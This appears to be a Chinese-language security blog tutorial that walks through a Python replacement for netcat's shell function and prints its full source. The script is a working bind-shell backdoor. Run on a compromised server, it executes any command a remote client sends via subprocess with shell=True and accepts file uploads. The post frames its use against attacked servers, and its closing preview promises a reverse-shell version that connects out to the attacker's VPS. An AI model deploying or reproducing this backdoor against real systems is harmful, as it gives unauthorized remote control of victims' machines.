python小工具学习连载-取代瑞士军刀

python小工具学习连载

-取代瑞士军刀-

使用本网站前,请先阅读免责声明,同意其内容后再进行食用!

​ netcat被誉为网络安全届的瑞士军刀,相信没有什么人不认识他吧,他是一个简单而有用的工具,通过tcp或upd协议的网络连接去读取数据。它被设计成为一个稳定的后门工具,能够直接由其他的程序或脚本驱动,同时,他也是一个功能强大的网络调试和探测工具,能够建立你需要的机会所有类型的网络连接。而相信,在我们的日常工作中,最常用的便是nc的shell功能。但是在实际的渗透测试环境,有时候我们无法上传瑞士军刀,那么如何去使用shell功能呢,这里就给大家分享一个python脚本,可以完美替代瑞士军刀的shell功能。

工具效果

​ 话不多说,先上截图:

​ 我们在服务器上开启端口监听9999

Snipaste_2021-12-07_14-24-53.png

 

​ 攻击机尝试连接服务器端口并执行命令以及尝试上传文件

Snipaste_2021-12-07_14-25-52.png

 

​ 命令成功执行、文件成功上传

Snipaste_2021-12-07_14-26-25.png

 

实现原理

​ 其实这个工具的实现原理还是较为简单的,如果师傅们学习过网络编程,那么肯定一眼就能看懂这个工具是如何实现的,其实就是我们在服务器端开始了一个tcp服务器,然后在攻击机上开启了一个tcp的客户端,用这个客户端去尝试连接服务器并发送信息,服务器通过接受客户端发送的信息,判断客户端要进行什么操作,是文件上传,还是操作系统的命令执行等。

​ 我们还是来看代码,首先在main函数中,设置了判断传入的参数中是否有target,如果有target参数,那么代表着要进行的是客户端的操作,那么就会启动客户端的函数client_sender(),否则则证明的是要进行服务器端操作,启动服务器端函数server_loop()。

    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()

​ 好了,我们现在来看客户端是如何操作的。

​ 首先,我们创建一个客户端的socket连接,这里主要有两个参数

​ 参数一:family 指定应用程序使用的通信协议的协议族,对于TCP/IP协议族,该参数为AF_INET,以下为该参数的一些常用选项

Family参数 描述
socket.AF_UNIX 只能够用于单一的Unix系统进程间通信
socket.AF_INET 服务器之间网络通信(ipv4)
socket.AF_INET6 IPv6

​ 参数二:type 是要创建套接字的类型,以下为该参数的一些常用选项

Type参数 描述
socket.SOCK_STREAM 流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM 数据报式socket ,当使用UDP时选择此参数
socket.SOCK_RAW 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。

​ 可见,我们建立的是一个ipv4的tcp连接的客户端。然后我们尝试去连接到我们的目标服务器,连接完成之后呢,我们首先循环接受从服务器发送来的信息,直到发送完成。这里有一个recv函数,他代表的是数据缓冲区的大小,也就是一次我们可以从服务器接受多少字节的信息,然后循环接受,直到数据接完毕。

​ 然后将服务器发送给我们的信息打印出来,等待我们输入新的命令,而这里如果我们需要上传文件,根据我们定义的上传命令upload_file=,那么就会在我们输入的字符串中寻炸后这个字符串,如果找到了,那么将这个字符串用等号分割开来,假如我们输入了upload_file=test.txt,那么将会返回一个列表,[‘upload_file’,’test.txt’],而我们需要的是文件的路径,所以只需要选择列表中的第二个值即可。

​ 因为我们的客户端与服务器端发送数据是以bytes的形式进行发送,而我们input输入的是字符串,所以这里还要通过bytes()函数进行数据类型的转换,这样才能成功的将我们的数据发送给服务器。

​ 好了,这里总结一下客户端进行的流程

​ 创建socket连接->尝试连接目标主机->接受服务器发送的信息->用户输入要发送的信息->将用户输入的内容发送给服务器->接受服务器发送的信息….

def client_sender():

    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
        while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client.send(buffer)
    except:
        print("程序执行错误或用户主动退出!")

​ 然后我们来看服务器端。服务器端首先判断监听的ip,然后创建一个socket,将这个socket和我们的服务器ip、端口所绑定,开始监听是否有客户端想要与我们的服务器建立连接,如果收到了,那么创建一个新的线程,并将这个客户端的socket交给client_handler这个函数去运行。

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()
        

​ 然后看服务器用来处理客户端连接的函数。我们首先回看一下客户端的运行流程,与服务器端的连接已经建立完成了,那么客户端现在是在等待我们的服务器给他发送消息,好了,那我们首先给客户端发送消息,告诉他连接已经建立成功。然后就是我们的shell了,客户端在收到服务器发送的消息后,就会提示用户输入内容,并且发送给我们的服务器,那么我们现在服务器就应该在接受客户端发送的消息,ok,知道了这个,我们首先在循环中,接受客户端发送的消息。

​ 而在这个地方就需要进行一个判断了,我们的客户端到底是想要干什么?他是想执行系统的命令呢,还是很想要上传文件呢?我们回头看客户端如果是上传文件,会发送什么给服务器。

​ 这是客户端处理上传文件时的代码,假如我们上传了一个test.txt文件,我们可以看到buffer这个变量,首先他是uplaod_file=test.txt,然后在读取到这个文件之后,他变成了upload_file=test.txt,file_msg=文件内容,所以这个就是我们上传文件时发送给服务器端到内容。

buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'

​ ok回到我们的服务器,我们该如何处理这个语句呢,我们首先肯定还是判断uplaod_file=这个字符串是否存在于我们服务器接受到的内容中,这里需要注意一下,因为我们服务器收到内容之后,他是bytes的形式,而这里我们需要的是字符串,所以害需要进行一下类型转换。然后我们要判断,那些是文件名、那些内容是文件中的数据。

​ 这里首先我们将字符串以=分割,那么就变成了[‘upload_file’,’test.txt,file_msg’,’文件信息’]可以看到此时文件的内容已经出来了,也就是第三个数据,而文件名这里却还需要进行一下分割,再次以“,”来进行分割,成功获取到了我们的文件名。这样,我们就可以像文件中写东西了。但是,要知道,我们收到的数据类型是bytes,我们使用str()函数虽然成功将其转换为字符串,但是还是存在问题,他会是文件内容n’的形式,所以我们还需要去掉文件内容中头部的的最后3个字符,这样才能正确的写入我们的文件当中。

​ 而如果是命令执行呢,python中执行系统命令的方式还是很多的,这里我采用subprocess库的方式进行系统命令的执行,并且将执行的结果以bytes的方式返回,最后将其发送给客户端即可。然后客户端接受到服务器的数据,便开始了下一次的要求用户输入内容。

​ 而服务器的具体工作流程如下:

​ 创建socket并绑定->接受客户端连接请求->发送连接成功信息->接受客户端发送信息->处理->处理结果发送给客户端。

def client_handler(client_socket):
    global upload
    global command
    
    client_socket.send(bytes("connect success!",encoding="utf-8"))
    while True:
        cmd_buffer = bytes("",encoding="utf-8")
        while b"\n" not in cmd_buffer:
            cmd_buffer+=client_socket.recv(4096)
        if 'upload_file=' in str(cmd_buffer): 
            upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
            f = open(upload_file,'w')
            f.write(str(cmd_buffer).split('=')[2][0:-3])
            f.close()
            response = bytes('upload success!',encoding='utf-8')
        else:
            # 返还命令输出
            response = run_command(cmd_buffer)
        # 返回响应数据
        client_socket.send(response)

​ 最后,再对服务器端和客户端整体工作流程进行一下梳理

服务器创建socket、客户端创建socket->服务器与客户端进行连接->服务器向客户端发送连接成功信息->客户端要求用户输入执行的命令并发送给服务器->服务器收到客户端的命令将其处理,并将结果发送给客户端->客户端收到上一次命令的执行结果,要求用户输入执行的命令。

相关代码

import sys
import socket
import getopt
import threading
import subprocess

# 全局变量
listen = False
target = ""
port = 0

def help():
    print("""
    python3 netcat.py -t target_host -p port
    -l --listen      开启监听
    eg:
    python3 netcat.py -t 192.168.1.1 -p 5555 -l 
    python3 netcat.py -t 192.168.1.1 -p 5555"
    开启shell后可通过
    upload_file=abc.txt 来上传文件
    """)
    sys.exit(0)

def client_sender():

    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
        while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client.send(buffer)
    except:
        print("程序执行错误或用户主动退出!")

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有端口
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

def run_command(command):
    # 换行
    command  = command.rstrip()
    # 运行命令返回输出
    try:
        command = str(command)[2:-1]
        output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell=True)
        if output == b'':
            output = bytes('success',encoding="success")
    except:
        output = bytes("failed to execute command \n\r",encoding="utf-8")
    return output

def client_handler(client_socket):
    global upload
    global command
    
    client_socket.send(bytes("connect success!",encoding="utf-8"))
    while True:
        cmd_buffer = bytes("",encoding="utf-8")
        while b"\n" not in cmd_buffer:
            cmd_buffer+=client_socket.recv(4096)
        if 'upload_file=' in str(cmd_buffer): 
            upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
            f = open(upload_file,'w')
            f.write(str(cmd_buffer).split('=')[2][0:-3])
            f.close()
            response = bytes('upload success!',encoding='utf-8')
        else:
            # 返还命令输出
            response = run_command(cmd_buffer)
        # 返回响应数据
        client_socket.send(response)
            
def main():
    # 获取全局变量
    global listen
    global port
    global target
    
    # 获取用户输入的参数
    if not len(sys.argv[1:]):
        help()
    
    try:
        opts,args = getopt.getopt(sys.argv[1:],
        "hlt:p:",
        ["help","listen","target","port"])
    except:
        print("error!")

    for o,a in opts:
        if o in ("-h","--help"):
            help()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ('-t',"--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            print('您输入的参数有误!')
    
    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()

main()

 

 

 

下集预告

​ 我们这次完成的瑞士军刀,需要我们在被攻击的服务器上开启tcp服务器,我们在攻击机上进行连接,而在真实环境中,假如我们无法连接服务器端呢,也就是无法正向连接,那么我们能否采取反向连接的方式来进行呢?这就是我们下次的内容,反向连接的瑞士军刀,让被攻击者直接外连我们的vps进行命令执行。

​ 最后,哪里来获取这个小工具的源码呢,大家可以在我的github上进行下载,也可以公众号回复netcat进行获取。

请登录后发表评论

    • 小白的头像-FancyPig's blog汉堡会员小白LV10超级版主0